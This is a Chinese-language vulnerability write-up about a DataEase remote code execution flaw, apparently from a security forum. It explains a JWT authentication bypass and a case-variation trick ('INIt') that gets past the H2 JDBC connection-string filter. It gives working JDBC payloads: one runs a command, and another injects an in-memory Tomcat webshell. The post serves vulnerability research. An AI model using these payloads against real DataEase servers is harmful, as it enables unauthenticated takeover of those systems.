找回密码
 立即注册
首页 业界区 业界 DataEase 远程代码执行漏洞分析

DataEase 远程代码执行漏洞分析

訾颀秀 2025-6-30 12:49:49
漏洞描述

DataEase 是一款开源的数据可视化分析工具,旨在帮助用户快速分析数据并洞察业务趋势,从而实现业务的改进与优化。
漏洞影响版本: DataEase < 2.10.10
漏洞详情: 在过滤H2 JDBC连接字符串时存在大小写绕过,攻击者可配合JWT鉴权逻辑缺陷,构造特定的JDBC连接字符串执行任意代码,造成前台远程代码执行。
环境搭建

下载一键安装包:
  1. https://github.com/dataease/dataease/releases/download/v2.10.9/dataease-online-installer-v2.10.9-ce.tar.gz
复制代码

  • 解压并执行安装脚本
  • 修改配置文件
    /opt/dataease2.0/docker-compose.yml
1.png


  • JAVA_DEBUG=true
  • 添加端口映射 5005:5005 开启调试模式

  • 重启服务
    1. dectl restart
    复制代码
漏洞分析
  1. https://github.com/dataease/dataease/commit/429f654733716bc0afc44c22effddcbede3c8de5
复制代码
2.png

从这个commit里可以发现修复了两处地方:
JWT鉴权逻辑缺陷

位置: io.dataease.auth.filter.CommunityTokenFilter#doFilter
3.png

4.png


  • 从请求头获取JWT: 从 X-DE-TOKEN 获取jwt进行验证
  • 验证异常处理: 验证异常后设置返回包但没有结束整个流程,会继续进入到 filterChain.doFilter
  • 绕过条件: 如果单看这里的话实际上只要 X-DE-TOKEN 不为空即可通过权限校验流程
实际测试发现的问题:
第一个原因: 获取jwt的密钥是从jwt解析的uid然后通过uid获取用户密码再md5的值,如果获取的uid值不存在的话会直接异常,不会进入下面的异常,所以还是要一个存在的uid值。
第二个原因: TokenFilter过滤器也验证了 X-DE-TOKEN
位置: io.dataease.auth.filter.TokenFilter#doFilter
5.png

6.png

7.png


  • 仅验证了 X-DE-TOKEN 长度大于100
  • uid值不为空
  • 没有进行密钥验证
综合上述分析需要满足下列条件:

  • uid值需要为存在的值
  • X-DE-TOKEN 长度大于100
  • oid不需要都可以
官方安全公告:
  1. https://github.com/dataease/dataease/security/advisories/GHSA-999m-jv2p-5h34
复制代码
官方公告这里是填了oid的,其实可以不需要oid,随便写什么让生成的jwt长度大于100即可
H2 JDBC RCE大小写绕过分析

位置: io.dataease.datasource.type.H2#getJdbc
触发点:

  • /de2api/datasource/validate
  • /de2api/datasource/getSchema (POC一模一样)
直接登录后台即可发现这个功能点
8.png

9.png

不需要审计黑盒都可以测试出来,点击这两个功能即可构造出数据包。
10.png

11.png

绕过方法:
将 INIT 改为 INIt 即可绕过下面的过滤
12.png

漏洞利用

使用如下JDBC payload即可RCE:
  1. jdbc:h2:mem:testdb;TRACE_LEVEL_SYSTEM_OUT=3;INIt=CREATE ALIAS EXEC AS 'String shellexec(String cmd) throws java.io.IOException {Runtime.getRuntime().exec(cmd)\;return "test"\;}'\;CALL EXEC ('touch /tmp/1')
复制代码
13.png

14.png

内存马注入

最开始直接使用java-chains生成JDBCPayload发现不行,有两个原因:
1. JDK版本问题
DataEase2.10.9 JDK版本为21
15.png

2. Tomcat版本问题
使用的tomcat版本为10
16.png

折腾了一下最后使用如下JDBCPayload即可成功打入内存马(需注意转义问题):
  1. jdbc:h2:mem:testdb;TRACE_LEVEL_SYSTEM_OUT=3;INIt=CREATE ALIAS AQWSSSAZ AS 'String shellexec(String abc) throws java.lang.Exception{byte[] standBytes=null\;String tomcatStr=""\;
  2. java.lang.Class unsafeClass = java.lang.Class.forName("sun.misc.Unsafe")\;
  3. java.lang.reflect.Field unsafeField = unsafeClass.getDeclaredField("theUnsafe")\;
  4. unsafeField.setAccessible(true)\;
  5. sun.misc.Unsafe unsafe = (sun.misc.Unsafe) unsafeField.get(null)\;
  6. java.lang.Module module = java.lang.Object.class.getModule()\;
  7. java.lang.Class cls = AQWSSSAZ.class\;
  8. long offset = unsafe.objectFieldOffset(java.lang.Class.class.getDeclaredField("module"))\;
  9. unsafe.getAndSetObject(cls, offset, module)\;
  10. java.lang.reflect.Method defineClass = java.lang.ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, java.lang.Integer.TYPE, java.lang.Integer.TYPE)\;
  11. defineClass.setAccessible(true)\;
  12. byte[] bytecode = java.util.Base64.getDecoder().decode(tomcatStr)\;
  13. java.lang.Class clazz = (java.lang.Class) defineClass.invoke(java.lang.Thread.currentThread().getContextClassLoader(), bytecode, 0, bytecode.length)\;
  14. clazz.newInstance()\;return "test"\;}'\;CALL AQWSSSAZ('123')
复制代码
tomcatStr使用jmg生成
17.png

18.png

19.png

本文仅供安全研究和学习使用,由于传播、利用此文档提供的信息而造成任何直接或间接的后果及损害,均由使用本人负责,公众号及文章作者不为此承担任何责任。

来源:豆瓜网用户自行投稿发布,如果侵权,请联系站长删除

相关推荐

您需要登录后才可以回帖 登录 | 立即注册